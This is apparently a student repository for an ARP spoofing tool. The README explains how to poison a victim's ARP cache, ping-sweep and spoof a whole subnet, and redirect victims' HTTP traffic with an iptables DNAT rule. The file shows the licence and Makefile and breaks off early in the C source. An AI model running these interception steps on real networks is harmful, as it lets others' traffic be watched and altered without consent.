[
  {
    "path": ".gitignore",
    "content": "arpspoof\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {one line to give the program's name and a brief idea of what it does.}\n    Copyright (C) {year}  {name of author}\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    {project}  Copyright (C) {year}  {fullname}\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "Makefile",
    "content": "SRC=arpspoof.c\nOUT=arpspoof\nCFLAGS=-Wall -Wextra -Wpedantic -std=gnu99 `libnet-config --defines`\n\nall:\t$(OUT)\n\n$(OUT):\t$(SRC)\n\t$(CC) $(CFLAGS) -o $@ $?\n\nclean:\n\t$(RM) $(OUT)\n"
  },
  {
    "path": "README.md",
    "content": "arpspoof\n========\n\nA program to perform an ARP spoofing attack against someone else on your local unencrypted network.\n\nThe arpspoof.c file sends 2 ARP requests, one to the default gateway and one to the victim, to get their MAC addresses. I then use these addresses to construct a phony ARP response to the victim that tells them that I am their default gateway (or any other IP address if you don't want it to be the default gateway). Some operating systems (e.g. Linux) are very suspicious of spurious ARP responses like this and will quickly figure out the ruse, but Windows will happily chug along in blissful ignorance until you annoy it by taking too long to respond to requests. To prevent even this weak defense mechanism from deploying, the program has an option to keep resending the phony packet every X number of seconds. Note: if it takes more than about 1 second for something to happen your response probably got lost, so try again.\n\n## Syntax\n\n./arpspoof [OPTION [ARG]]... VICTIM_IP\n\n## Options\n\n-i, --interface\t\tNetwork interface to use, given as the argument. If this\n                    option is not used, the interface defaults to the first\n\t\t\t\t\trunning non-loopback interface.\n\n-r, --repeat\t\tResends the packet continuously with a delay given in\n                    seconds by the argument. A delay of zero means only one\n\t\t\t\t\tpacket is sent.\n\n-a, --attacker-ip \tChoose another machine (other than the one running this\n                    program) as the one to be disguised.\n\n-g, --gateway-ip\tSpoof to an IP (given as an argument) other than the default\n                    gateway.\n\n-v, --verbose\t\tPrints out extra info about the machines involved.\n\n# sweep.sh\n\nThe sweep.sh file gets the current IP address and routing prefix in CIDR\nnotation and from this calculates the netmask, then uses this information to\nping sweep everyone on the current subnet and attempt to send phony ARP packets\nto them using the arp.c program. Obviously you shouldn't do this unless you know\nexactly who will be affected by it and you're prepared to handle the\nconsequences. There is also a flag to do only the ping sweep and not attempt the\nspoofing, which prints out the IP addresses of everyone who responded in some\nfashion to the ping from the tcping program (not mine) on port 6000. For some\nreason I was unable to determine, Windows responds to random TCP connections on\nport 6000 but firewalls almost everything else, including ICMP. Go figure.\n\n## Syntax\n\n./sweep.sh INTERFACE_NAME [ -p (ping only) ]\n\n# cage.sh\n\ncage.sh is a simple URL rewriter script for Squid--it just takes any URL and\nturns it into a picture of Nicolas Cage.\n\n# Miscellaneous\n\nThere are also some other relevant things, for example the sample website is\navailable under the http directory, and the Apache and Squid configuration files\nare here as well. And one more thing that doesn't really fit neatly anywhere\nelse: the iptables rule to redirect the traffic. By default Linux just forwards\nany IP packets destined for elsewhere, so the ARP spoof by itself won't really\naffect anything other than making the victim's packets pass through your\nmachine. However, since it's *your* machine, you can have your way with them, so\nwe set up iptables to redirect anything coming through port 80 to port 3129 on\nour machine, which Apache is listening on as well as Squid (just make sure\nyou've set them up not to conflict if you're running both). Note that HTTPS\n(port 443) is significantly harder to mess with, so I don't try.\n\niptables rule (run as root):\n\niptables -t nat -A PREROUTING -p tcp --dport 80 -i $INTERFACE_NAME -j DNAT \\\n--to $DEST_IP:$DEST_PORT\n\nThings you change yourself are prefixed with $'s this time to distinguish from\nliteral ALLCAPS arguments.\n\n# Notes\n\nThis project was originally written for my networking class last semester, but\nsince a few other people seem to be interested in it I've been cleaning it up a\nbit recently and adding a few more features. My main focus is in the main\narpspoof program; the functionality of sweep.sh will probably be incorporated\ninto it and the rest of the stuff in this repo, which is basically just a really\nsimple proof of concept, may eventually be removed.\n\n"
  },
  {
    "path": "arpspoof.c",
    "content": "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <stdbool.h>\n#include <unistd.h>\n#include <errno.h>\n#include <ifaddrs.h>\n#include <getopt.h>\n\n#include <sys/socket.h>\n#include <sys/ioctl.h>\n#include <net/ethernet.h>\n#include <net/if.h>\n#include <arpa/inet.h>\n#include <netpacket/packet.h>\n#include <netinet/if_ether.h>\n\nvoid die(const char *error)\n{\n\tfprintf(stderr, \"Error: %s\\n\", error);\n\texit(EXIT_FAILURE);\n}\n\nvoid print_addrs(const char *msg, uint32_t ip, unsigned char *mac)\n{\n\tprintf(\"%9s:\\t%s\\t%02x:%02x:%02x:%02x:%02x:%02x\\n\",\n\t\tmsg,\n\t\tinet_ntoa((struct in_addr) { .s_addr = ip }),\n\t\t(unsigned char) mac[0],\n\t\t(unsigned char) mac[1],\n\t\t(unsigned char) mac[2],\n\t\t(unsigned char) mac[3],\n\t\t(unsigned char) mac[4],\n\t\t(unsigned char) mac[5]);\n}\n\nvoid set_ifr_name(struct ifreq *ifr, const char *if_name)\n{\n\tsize_t if_name_len = strlen(if_name);\n\tif (if_name_len < sizeof(ifr->ifr_name)) {\n\t\tmemcpy(ifr->ifr_name, if_name, if_name_len);\n\t\tifr->ifr_name[if_name_len] = 0;\n\t} else {\n\t\tdie(\"Interface name is too long\");\n\t}\n}\n\nint get_ifr_ifindex(int fd, struct ifreq *ifr)\n{\n\tif (ioctl(fd, SIOCGIFINDEX, ifr) == -1) {\n\t\tdie(strerror(errno));\n\t}\n\n\treturn ifr->ifr_ifindex;\n}\n\nvoid get_ifr_hwaddr(int fd, struct ifreq *ifr)\n{\n\tif (ioctl(fd, SIOCGIFHWADDR, ifr) == -1) {\n\t\tdie(strerror(errno));\n\t}\n\tif (ifr->ifr_hwaddr.sa_family != ARPHRD_ETHER) {\n\t\tdie(\"Not an ethernet interface\");\n\t}\n}\n\nvoid get_ifr_addr(int fd, struct ifreq *ifr)\n{\n\tif (ioctl(fd, SIOCGIFADDR, ifr) == -1) {\n\t\tdie(strerror(errno));\n\t}\n}\n\nbool check_interface(const char *if_name)\n{\n\tstruct ifaddrs *ifaddr, *ifa;\n\tif (getifaddrs(&ifaddr) == -1) {\n\t\tdie(strerror(errno));\n\t}\n\n\tifa = ifaddr;\n\twhile (ifa && strcmp(if_name, ifa->ifa_name)) 